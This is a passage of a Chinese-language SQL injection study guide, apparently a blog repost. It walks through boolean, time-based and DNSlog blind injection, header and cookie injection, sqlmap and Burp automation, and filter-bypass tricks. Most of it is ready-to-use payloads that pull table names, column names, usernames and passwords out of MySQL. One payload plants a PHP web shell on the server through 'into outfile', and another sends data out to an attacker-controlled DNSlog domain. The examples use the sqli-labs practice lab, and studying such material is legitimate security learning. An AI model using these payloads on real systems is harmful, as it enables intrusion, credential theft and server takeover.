and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

7.猜解表中的字段数(若页面正常显示则判断正确)

and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+

【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解表中的字段名的长度(若页面正常显示则判断正确)

猜解第一个字段名的长度

and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+

【n 为长度】【必须要有 limit a-1,1

9. 猜解字段名(若页面正常显示则判断正确)

猜解第一个字段名

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解列中字段内容的长度(若页面正常显示则判断正确)

猜解第一个字段内容的长度

and (select length(字段名) from 表名 limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(字段名) from 表名 limit a-1,1) > n --+

【n 为长度】【必须要有 limit a-1,1

11. 猜解列中字段内容(若页面正常显示则判断正确)

猜解第一个字段内容

and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

【POST】 时间盲注

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:id=1
字符型【示例】:id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1 为真
id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解数据库名长度(若页面刷新指定秒则判断正确)

and if(length(database())=n,sleep(2),0) --+

【n为字符数】【可枚举出 n】

and if(length(database())>n,sleep(2),0) --+

【n为字符数】【二分法】【下面步骤用此法】

3. 猜解数据库名(若页面刷新指定秒则判断正确)

and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+

【n为 ASCII 码,基本字符就前 128 个】

and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+

对照 ASCII 码表即可将数据库名拼出 ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】

and if(substr(database(),1,1)='s',sleep(2),0) --+

4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)

and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+

【n 为数量】

5. 猜解表名长度(若页面刷新指定秒则判断正确)

and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名

and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

7. 猜解表中的字段数(若页面刷新指定秒则判断正确)

and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+

【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解字段长度(若页面刷新指定秒则判断正确

猜解第一个字段长度

and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】

and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit a-1,1

9. 猜解字段(若页面刷新指定秒则判断正确)

猜解第一个字段

and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)

猜解第一个字段内容的长度

and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】

and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit a-1,1

11. 猜解字段内容(若页面刷新指定秒则判断正确)

猜解第一个字段内容

and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

【POST】 DNSlog 注入

需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习

所用命令

select load_file("");

由于是读文件,需要相对应的读写权限

👇👇👇

首先查看 MySQL 是否有读写文件的权限

show variables like '%secure%';

若 secure_file_priv 的值为 NULL ,则没有读写权限

若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限

若 secure_file_priv 的值为 ,则在任何路径下都有读写权限

如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加 secure_file_priv=

保存之后重启 mysql 服务即可

前置知识

UNC 路径

\\servername\sharename

servername 表示 ip 或者域名

sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】

【注意】

\\ 容易被当成转义符,建议使用 //

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:id=1
字符型【示例】:id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**id=1 and sleep(2) ** 【延时判断】

上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合


【以数字型为例,字符型同理】
id=1 and 1=1 为真 【布尔判断】
id=1 and 1=2 为假

上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例

3. 获取数据库名

and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+

所以我们只需要改 select database()你的Identifier 即可
select database()填 sql 注入语句

4. 获取表名

只能一条一条的读,改 limit 后面的值即可

and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+

5. 获取字段名

and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+

6. 获取字段内容

and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+

至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
SQL 注入学习手册【笔记】

异或注入

若两个值不同,则异或结果为 1

若两个值相同,则异或结果为 0

若 100=1 可以理解的话就不用看了

​ 根据从左到右算,不同为 1,相同则为 0 的法则

​ 则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 100=1

若闭合符前的字符不为数字怎么算

​ 字符若不含数字,则为 0

​ 字符中若含有数字字母,则直接取数字

【例】

?id=1'^0^0 --+

相当于 and 1=1

其实不一定是 100,只要异或最后的结果是 1 就行了【111 也行】

如何写入注入语句呢

可以这么写

?id=1'^1^(select length(database())=7) --+

然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注

半自动/自动化注入

利用 Burp Suite 进行半自动化注入

【以布尔盲注为例】

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 半自动化爆破数据库名长度

SQL 注入学习手册【笔记】

先截包再发送给 Intruder 模块

SQL 注入学习手册【笔记】

添加 payload 位置

SQL 注入学习手册【笔记】

添加字典,开始爆破

SQL 注入学习手册【笔记】

找正确答案即可

SQL 注入学习手册【笔记】

3、半自动化爆破数据库名

SQL 注入学习手册【笔记】

bp抓包发送 Intruder 模块,并添加 payload

SQL 注入学习手册【笔记】
SQL 注入学习手册【笔记】

添加字典,开始爆破

SQL 注入学习手册【笔记】
SQL 注入学习手册【笔记】

找出正确答案

SQL 注入学习手册【笔记】

往后的步骤同理

利用 sqlmap 实现自动化注入

基本步骤

1. 前提条件
请确保你的计算机已经安装 python 并成功配置环境变量

2. 下载并解压 sqlmap

3. 运行 sqlmap

**打开 sqlmap 根目录,单击上面的地址栏,输入 cmd,打开命令行窗口,输入 **

python sqlmap.py -h

若出现这个界面则表示运行成功

SQL 注入学习手册【笔记】

4. 使用 sqlmap 进行自动化注入

【GET 提交方法】

最简单的方法,输入下面命令然后一路回车即可

python sqlmap.py -u 网址 -dump

【示例】

python sqlmap.py -u http://sqli-labs/Less-9/?id=1 -dump

SQL 注入学习手册【笔记】

注意:输入的网址最好是带参数

【POST 提交方法】

最简单的方法,输入下面命令然后一路回车即可

python sqlmap.py -u 网址 --forms -dump

【示例】

python sqlmap.py -u http://sqli-labs/Less-15/ --forms -dump

SQL 注入学习手册【笔记】

MySQL 文件上传

首先查看 MySQL 是否有读写文件的权限

show variables like '%secure%';

若 secure_file_priv 的值为 NULL ,则没有读写权限

若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限

若 secure_file_priv 的值为 ,则在任何路径下都有读写权限

如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加 secure_file_priv=

保存之后重启 mysql 服务即可

所用命令

select ... into outfile ...

目标

上传一个一句话木马或者是你想上传的 php 文件

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 判断字段数

可以一个一个猜

union select 1
union select 1,2
union select 1,2,...

若页面回显正常,则判断正确

【例】

3. 文件上传

直接构造语句

union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\a.php"--+

路径要用双 \ 写

页面报语法错误,但实际上已经上传成功

4. 连接蚁剑

HTTP 头注入

uagent 注入

uagent,即 User-Agent,中文名为用户代理,简称UA

它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。

优先使用 union 查询,但通常与报错注入结合注入【什么报错注入都行,此以 updatexml 为例】

union 联合注入 > 报错注入 > 布尔盲注 > 时间盲注

可以用 hackbar 改或者 burp 抓包改【主要目标为 User-Agent 】

基本步骤

1. 判断闭合符方法【用 \ 号】
User-Agent: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

【例】

若遇到 '127.0.0.1','admin')' 这种的,实际上就是把输入的内容跟后面两个内容拼接起来,直接把当 2 ,3 替换上去就行了

上面都是引号,符号该闭合的闭合,即

User-Agent: 1',2,3)#

然后开始注入,注入语句放 1' 后面也好,或者 2,3 后面都行

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
User-Agent: 1' and 1=1,2,3)# 为真
User-Agent: 1' and 1=2,2,3)# 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名

and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容

and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】

and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

referer 注入

Referer,即HTTP Referer,,是头部信息neader的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

常见用法:

防盗链:比如只允许自己的网站访问自己的图片服务器,自己的域名是 www.google..com,那么服务器每次提取到 Referer 来判断是不是自己的域名 www.google.com,如果是就继续访问,如果不是就拦截。

防止恶意请求:比如静态请求是 *.html 结尾的,动态请求是 * .shtml,.那么由此可以这么用,所有的 *.shtml 请求,必须 Referer 为我自己的网站。

空referer:首先,我们对空Referer定义为,Referer头部的内容为空,或者,一个HTTP请求中根本不包含Referer头部。

基本步骤

1. 判断闭合符方法【用 \ 号】
Referer: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

【例】

若遇到 '127.0.0.1')' 这种的,实际上就是把输入的内容跟后面的内容拼接起来,直接把当 2 替换上去就行了

上面都是引号,符号该闭合的闭合,即

Referer: 1',2)#

然后开始注入,注入语句放 1' 后面也好,或者 2 后面都行

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
Referer: 1' and 1=1,2)# 为真
Referer: 1' and 1=2,2)# 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名

and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容

and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】

and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

cookie 注入

某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
暂时记录用户个人信息,且可以保存在客户机上。

基本步骤

1. 判断闭合符方法【用 \ 号】
Cookie: uname=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
Cookie: uname=1 and 1=1 为真
Cookie: uname=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名

and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容

and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】

and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

绕过过滤

绕过注释符号过滤

注释符号的作用:把后面不需要的语句注释掉,保证句子的完整性

常用注释符号

--+

%23【url 编码】

/**/

若为数字型注入,则不需考虑注释符号绕过

绕过手法

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

常见闭合符

''

""

('')

("")

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

2. 绕过

先将语句闭合掉, 然后在后面补个 and '1'='1 后面不闭合,留着给原语句闭合,所以闭合符要判断正确

?id=1' and '1'='1

则注入语句可以写到这里

?id=1' [这里] and '1'='1

【例】

先判断回显点为 2,3,由于 3 要控制闭合,那就选 2 作为回显位

?id=-1' union select 1,(select database()),3  and '1'='1

绕过关键字过滤

and:两边同时满足

or:任意一边满足即可

union

select

绕过手法

使用大小写绕过

将中间某个字母改为大写,如:Or、oR、OR、And、ANd、aNd、aND、AND 等

【例】

?id' anD 1=1 --+

双写绕过

将 and 或 or 塞进 and 或 or 里

【例】

?id=1' anandd 1=1 --+

符号替代绕过

用符号替代 and【&&】or【 ||】

【例】

?id=1' && 1=1 --+

编码绕过

将字母符号进行 hex、url 等编码

【例】& 的 url 编码为 %26

?id=1' %26%26 1=1 --+

添加注释绕过

用内联注释或多行注释绕过

?id=1' /*!and*/ 1=1 --+

异或截断绕过

若两个值不同,则异或结果为 1

若两个值相同,则异或结果为 0

若 100=1 可以理解的话就不用看了

​ 根据从左到右算,不同为 1,相同则为 0 的法则

​ 则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 100=1

若闭合符前的字符不为数字怎么算

​ 字符若不含数字,则为 0

​ 字符中若含有数字字母,则直接取数字

【例】

?id=1'^0^0 --+

相当于 and 1=1

其实不一定是 100,只要异或最后的结果是 1 就行了【111 也行】

如何写入注入语句呢

可以这么写

?id=1'^1^(select length(database())=7) --+

然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注

报错绕过

多用括号以达到不使用空格的效果【与报错注入搭配】

【例】

?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1

绕过空格过滤

绕过手法

符号代替绕过

常用 + 号代替空格

url编码绕过

常用代替空格的 url 编码

%20 spaces

%09 TAB

%0A LF【换行】

%0C FF【换页】

%0D CR

%0B VT

%A0 -OA-【仅 mysql】

报错绕过

多用括号以达到不使用空格的效果【与报错注入搭配】

【例】

?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1

绕过逗号过滤

绕过手法

join 内联

-1 union select * from (select 1)a join (select 2)b join (select 3)c --+

只需要将语句替换掉数字

【例】

-1 union select * from (select 1)a join (select 2)b join (select database())c --+

绕过 = 号过滤

绕过手法

Between

在什么与什么之间

select database() between 0x61 and 0x7a;

in

mysql中in常用于where表达式中,其作用是查询某个范围内的数据

SELECT * FROM user WHERE uid IN (2,3,5)

Like

模糊查询,也可以当等于号用

?id = 1 or 1 like 1
等同于 
?id = 1 or 1 = 1

使用正则代替等于号

SELECT ‘Hern’ REGEXP ‘[0-9]’;

Rlike === regexp

REGEXP 等同于 RLIKE

绕过 database 过滤

绕过手法

查询一个不存在的表或函数

select * from fdsafsd;

会报这个表不存在,前面就带着库名

绕过 column 过滤

绕过手法

join 内联

select * from (select * from 表名 as a join 表名 as b) as c);

爆出一个字段名之后可以用刚爆出的字段名去爆其他字段名

select * from (select * from 表名 as a join 表名 as b using(刚爆出的字段名1,...)) as c);

as 是用来起别名的,可以省略【适合 as 被过滤时】

绕过 addslashes() 函数过滤

addslashes() 作用

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线()与 NULL(NULL字符)。

转义,例如在单引号前加反斜线 \ ,则会转义没有功能性的单引号

当写入或查询用户名 1’ 时,数据库会识别单引号为闭合符号,要求再输入一个单引号将其闭合,只查询 1 而没办法查询 1‘

如果输入 1\',\ 会使 ' 失去闭合符的功能,变成普通字符 ',则数据库会识别为 1'

绕过手法

宽字节绕过

局限性

宽字节绕过需要数据库编码方式为 gbk 编码,否则无法使用

浅析

Mysq在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符与经过 addslashes() 过后多出来的 \ 组合成两个字符,变成 mysql 数据库不识别的汉字字符,导致对单引号、双引号的转义失败,使其参数闭合。

【假设】输入 %df',经过 addslashes() 过后会在 ' 前面加个 / 也就是 %5c,即 %df%5c【符合 GBK 的取值范围】,会被解析成一个汉字,实际上出来的东西应该是 運’【 编码查询 】,而函数插入的 / 失效,后面的 ‘ 可以正常用来闭合

只能是 %df 吗?

​ 不一定,只要符合 GBK 的取值范围的,即【首字节在 81-FE 之间,尾字节在 40-FE 之间】,在 %81-%FE 范围内的都行,尾字节为 %5C 固定不用管

【例】

?id=-1%81' union select 1,2,database() --+

然后其他按正常手法注入即可文章来源地址https://www.toymoban.com/news/detail-643284.html

到了这里,关于SQL 注入学习手册【笔记】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sql注入学习

    一、查询漏洞 根据可控参数的不同,分为三种注入类型,数字型,字符型,搜索型 注释方式/**/,#,--,url编码为%27 还有get和post请求,其实完全一样,只是get请求参数在url中,post在请求正文里 二、数字型 试探 (1)输\\\'引起报错,输注释符#、/**/、-- 没有出错,没有被转义,

    2024年02月03日
    浏览(33)
  • 生命在于学习——SQL注入绕过

    SQL注入绕过技术已经是一个老生常淡的内容了,防注入可以使用某些云waf加速乐等安全产品,这些产品会自带waf属性拦截和抵御SQL注入,也有一些产品会在服务器里安装软件,例如iis安全狗、d盾、还有就是在程序理论对输入参数进行过滤和拦截,例如360webscan脚本等只要参数

    2023年04月08日
    浏览(48)
  • iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时

    2023年04月24日
    浏览(52)
  • 一文带你学习SQL注入

    SQL注入攻击属于注入攻击的一种,注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据 下面是一个SQL注入的典型例子: 变量ShipCity的值由用户提交,在正常情况下,

    2024年02月09日
    浏览(50)
  • sql注入学习-知识点大合集

    目录 (一)sql注入了解: 1.1什么是sql注入 1.2 sql注入的分类 (二)sql注入详解: 2.1.MySQL注入 2.2.1在MySQL注入中,会用到的知识  2.2.2mysql常用语句与常见 2.2.3msyql注入内容详解 2.2.Oracle注入 2.2.1Oracle注入基础 2.2.2联合查询注入 2.3.SQL Server注入 2.3.1SQL Server 关键目录试图 2.3.2 

    2024年02月07日
    浏览(36)
  • 云曦暑期学习第一周——sql注入

    sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作 条件: 1.参数用户可控:前端传给后端的参数内容是用户可以控制的 2.参数带入数据查询

    2024年02月16日
    浏览(37)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(45)
  • 【机器学习】《ChatGPT速通手册》笔记

    以下为一些知识点的简单记录,没有逻辑性,大多以分条形式展示。 由于是粗读,且个人水平有限,所以可能有些地方理解的不够准确,仅供参考。如有问题欢迎指正。 类似产品: 包括:文本分类、语言翻译、情感分析、问答系统、对话生成。 1、OpenAI公司没有单独公布过

    2024年04月22日
    浏览(67)
  • 网络安全进阶学习第十五课——Oracle SQL注入

    Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。 Oracle服务默认端口:1521 Oracle和MySQL数据库语法大致相同,结构不太相同。 最大的一

    2024年02月11日
    浏览(45)
  • 解密 sqli靶场第一关:一步一步学习 SQL 注入技术

      目录 一、判断是否存在注入点 二、构造类似?id=1\\\' --+的语句 三、判断数据表中的列数 四、使用union联合查询 五、使用group_concat()函数 六、爆出数据库中的表名 七、爆出users表中的列名 八、爆出users表中的数据 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对

    2024年02月04日
    浏览(60)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包